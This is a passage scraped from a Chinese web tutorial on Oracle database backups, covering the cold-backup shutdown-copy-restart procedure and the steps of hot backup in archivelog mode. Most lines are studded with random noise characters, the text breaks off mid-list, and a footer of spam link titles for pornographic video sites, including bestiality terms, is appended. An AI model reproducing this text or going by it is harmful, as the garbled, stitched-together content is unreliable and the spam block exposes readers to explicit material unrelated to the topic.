  ·所有控制文件* Q0 a  G9 b1 i1 }% L6 E
  ·所有聯(lián)機(jī)REDO LOG文件9 c: d. p1 g+ N( v- [- Z
  ·Init.ora文件(可選)* H7 V! Z  h, r7 ?, B3 n$ }5 {
  值得注意的是冷備份必須在數(shù)據(jù)庫(kù)關(guān)閉的情況下進(jìn)行,當(dāng)數(shù)據(jù)庫(kù)處于打開(kāi)狀態(tài)時(shí),執(zhí)行數(shù)據(jù)庫(kù)文件系統(tǒng)備份是無(wú)效的0 w+ |! d% t* r9 e* Y) M' F! U
  下面是做冷備份的完整例子:
  J4 y9 K7 Z+ q  {  (1) 關(guān)閉數(shù)據(jù)庫(kù)$sqldba lmode=y+ r3 i  h: ?1 B8 k6 D+ p4 ~
  SQLDBA >connect internal;
9 v* S) y. V) ^4 }  SQLDBA >shutdown normal;
8 Q6 i% c# X2 v  (2) 用拷貝命令備份全部的時(shí)間文件、重做日志文件、控制文件、初始化參數(shù)文件
' ~/ i( c8 t! m4 I. T% ^4 i  SQLDBA >! cp < file > < backup directory >: k5 R$ X5 i  r8 T
  (3) 重啟Oracle數(shù)據(jù)庫(kù)
( E" R: K, ]6 O5 O  D  $sqldba lmode=y" I* g" I9 P$ i/ F& Y
  SQLDBA >connect internal;' ]2 ]& G' }0 b4 @1 M! e- G
  SQLDBA >startup;  _5 @4 b1 Y9 B: B* C6 b8 f, y! _8 f
  <3>熱備份
1 L/ ?' M) `7 \  熱備份是在數(shù)據(jù)庫(kù)運(yùn)行的情況下,采用archivelog mode方式備份數(shù)據(jù)的方法。所以,如果你有昨天夜里的一個(gè)冷備份而且又有今天的熱備份文件,在發(fā)生問(wèn)題時(shí),就可以利用這些資料恢復(fù)更多的信息。熱備份要求數(shù)據(jù)庫(kù)在Archivelog方式下操作,并需要大量的檔案空間。一旦數(shù)據(jù)庫(kù)運(yùn)行在archivelog狀態(tài)下,就可以做備份了。熱備份的命令文件由三部分組成:
+ Q0 H! @" m+ `: _) M& L  1.數(shù)據(jù)文件一個(gè)表空間一個(gè)表空間地備份。4 C8 |, p7 p1 v; [1 O, p% E! T
  (1)設(shè)置表空間為備份狀態(tài)
* h6 A  l  {% \* g: ^/ J  (2)備份表空間的數(shù)據(jù)文件4 U5 W- b, l7 e* I/ n7 C' k
  (3)恢復(fù)表空間為正常狀態(tài)+ Z! A' _1 z& e
  2.備份歸檔log文件。
% K( H2 z# ~, U* s  (1)臨時(shí)停止歸檔進(jìn)程
, M: v& B& k6 J( a. v4 K- ^  (2)log下那些在archive redo log目標(biāo)目錄中的文件
1 y9 h3 R/ v" F' A3 v4 m  y0 P9 P* a  (3)重新啟動(dòng)archive進(jìn)程4 P  O8 I6 t# `: E' b
  (4)備份歸檔的redo log 文件
; F& @+ V! O4 V: m  U" X7 E, `, `- F  3.用alter database backup controlfile命令來(lái)備份拷貝文件
( x3 v" i+ l9 H  熱備份的優(yōu)點(diǎn)是:
]]>
主站蜘蛛池模板: 精品国产欧美sv在线观看 | 在线观看二区三区午夜 | 欧美日韩免费在线视频 | 国产精品福利久久香蕉中文 | 一区亚洲 | 国产亚洲精品美女久久久 | 91在线精品亚洲一区二区 | zoofilia杂交videos新人妖 | 91美女视频在线 | 最近中文日本字幕免费完整 | 永久免费在线 | 在线免费观看视频黄 | 手机在线看片国产日韩生活片 | 欧美一级黄色录像片 | 欧美日韩一区二区不卡三区 | 免费一级特黄特色黄大任片 | 国产精品久久久久影视青草 | 成人免费xx | 香港a毛片免费全部播放 | 国产成人高清视频免费播放 | 成人福利在线视频 | 国产群p视频 | 久久久久久久久免费视频 | 91探花福利精品国产自产在线 | 青草资源视频在线高清观看 | 久久国产精品999 | 看国产一级毛片 | 邪恶工番口番大全全彩色 | 91在线高清视频 | 亚洲国产成人精品91久久久 | 久久精品国产72国产精福利 | 国产九色在线 | 香蕉视频在线视频 | 国产一级c片 | 综合网在线视频 | 亚洲国产精品综合欧美 | 欧美一区二区三区在线可观看 | 伊人一区二区三区 | 大学生高清一级毛片免费 | 国产一级一级片 | 久久久这里只有精品加勒比 |